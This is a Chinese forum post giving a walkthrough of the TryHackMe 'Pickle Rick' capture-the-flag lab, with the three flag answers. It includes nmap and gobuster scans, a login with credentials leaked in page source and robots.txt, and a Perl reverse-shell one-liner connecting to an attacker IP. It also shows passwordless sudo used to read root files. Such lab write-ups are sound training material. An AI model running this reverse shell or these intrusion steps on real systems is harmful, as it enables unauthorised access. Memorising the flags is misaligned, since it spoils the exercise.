ToB企服应用市场:ToB评测及商务社交产业平台

标题: 【靶场】THM-Pickle Rick-练习 [打印本页]

作者: 大连全瓷种植牙齿制作中心    时间: 2022-9-27 19:21
标题: 【靶场】THM-Pickle Rick-练习
观前提示:

代码段或者文字段存在过长部分,请使用鼠标左键选中要查看的一行内容,按住鼠标左键并平行向右拖动观看。
或者向右拖动代码段、文字段下方的滚动条,亦可查看 过长部分的内容。
任务目标

找到药水所需要的3个材料,将帮助瑞克制作他的药水,把自己从一个泡菜变回人类。
目标地址https:/MACHINE-IP.p.thmlabs.com 此处为:https://10-10-253-251.p.thmlabs.com/
实践操作
  1. 端口扫描
  2. nmap -T4 -sC -sV -p- 10.10.253.251
复制代码

目标开放了两个端口:22/tcp ssh服务、80/tcp http服务
访问目标网站的http服务,查看网站源代码,获取到关于用户名的提示:

用户名为:R1ckRul3s
  1. 目录和文件扫描
  2. gobuster dir -u http://10.10.253.251 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,sh,txt,cgi,html,css,js,py
复制代码

扫描到
/index.html
/login.php
/assets
/portal.php
/robots.txt
去目标站点访问以上页面和文件:
  1. index.html是首页,和之前访问网站时的默认页面一样,
  2. login.php是登陆页面(这个要关注一下),
  3. assets目录下有一些网站资源文件(看了一下没啥特别的),
  4. portal.php访问时会自动跳转到之前的login.php页面,估计要登陆后才能看到,
  5. robot.txt文件有一串字符为Wubbalubbadubdub,可能是登陆密码。
复制代码



在登陆页面尝试使用之前得到的用户名以及在robots文件中得到的字符进行登陆,发现能够登陆成功,并给出一个命令执行面板:

利用命令面板,输入命令查找文件信息,找到第一个flag(无法通过cat命令查看,但可通过url路径进行访问):


第一个flag是:mr. meeseek hair
继续探索命令面板,第一次使用ls命令还看到了一些其他文件,现在尝试访问一下,denied.php是一个被禁止访问的页面,clue.txt提示我们在文件系统中查找其他成分:

利用网站所提供的命令面板建立反向shell(这里试了很多语言的反向shell,发现Perl语言的shell可行),首先在攻击机终端建立监听器,查看该服务器是否支持Perl(命令:which Perl),再执行Perl的反向shell命令:

反向shell命令内容参考(修改ip、端口和攻击机匹配):https://github.com/security-cheatsheet/reverse-shell-cheatsheet
  1. perl -e 'use Socket;$i="10.14.30.69";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
  2. if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
复制代码

成功建立反向shell,查找flag即可,第一个flag我们已经知道 我们找其他的(当前目录没有目标flag时,尝试找/home、/root等关键目录):


第二个flag是:1 jerry tear
上图中的 cat 'second ingredients' 之所以加单引号是因为该名称中间存在空格
如果不加引号 则只能识别到second而不是second ingredients
也可以尝试用其他方式处理:second\ ingredients或者"second ingredients"
尝试cd /root,发现无法移动到/root目录下,
输入sudo -l 列出目前用户可执行与无法执行的指令,发现我们可以通过sudo免密码使用root用户:


第三个flag是:fleeb juice
关于第二个flag和第三个flag的其他解法
利用登陆之后网页所提供的命令面板:
  1. 输入ls会显示当前网站根目录下的目录及文件
  2. 输入sudo -l列出目前用户可执行与无法执行的指令,发现我们可以通过sudo免密码使用root用户
  3. 此时,可以使用sudo ls命令找到/home目录以及/root下的flag文件,
  4. 对于/home目录,也可以通过组合命令(cd /home;ls;pwd、cd /home/rick/;ls;pwd)去找flag文件   
  5. 如果想通过网站url访问flag文件内容,可以使用sudo cp命令复制flag文件到网站根目录,涉及的命令如下:
  6. sudo ls /home
  7. sudo ls /home/rick/
  8. sudo cp /home/rick/second\ ingredients ./second.txt   
  9. sudo ls /root
  10. sudo cp /root/3rd.txt .
  11. 如果想直接在网页的命令面板界面查看flag内容,可以使用以下命令(当然前提还是要先找到flag文件的位置):
  12. less /home/rick/second\ ingredients
  13. sudo less /root/3rd.txt
复制代码




关于less命令:less命令 的作用与more十分相似,都可以用来浏览文字档案的内容,不同的是less命令允许用户向前或向后浏览文件,而more命令只能向前浏览。
完整答案



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4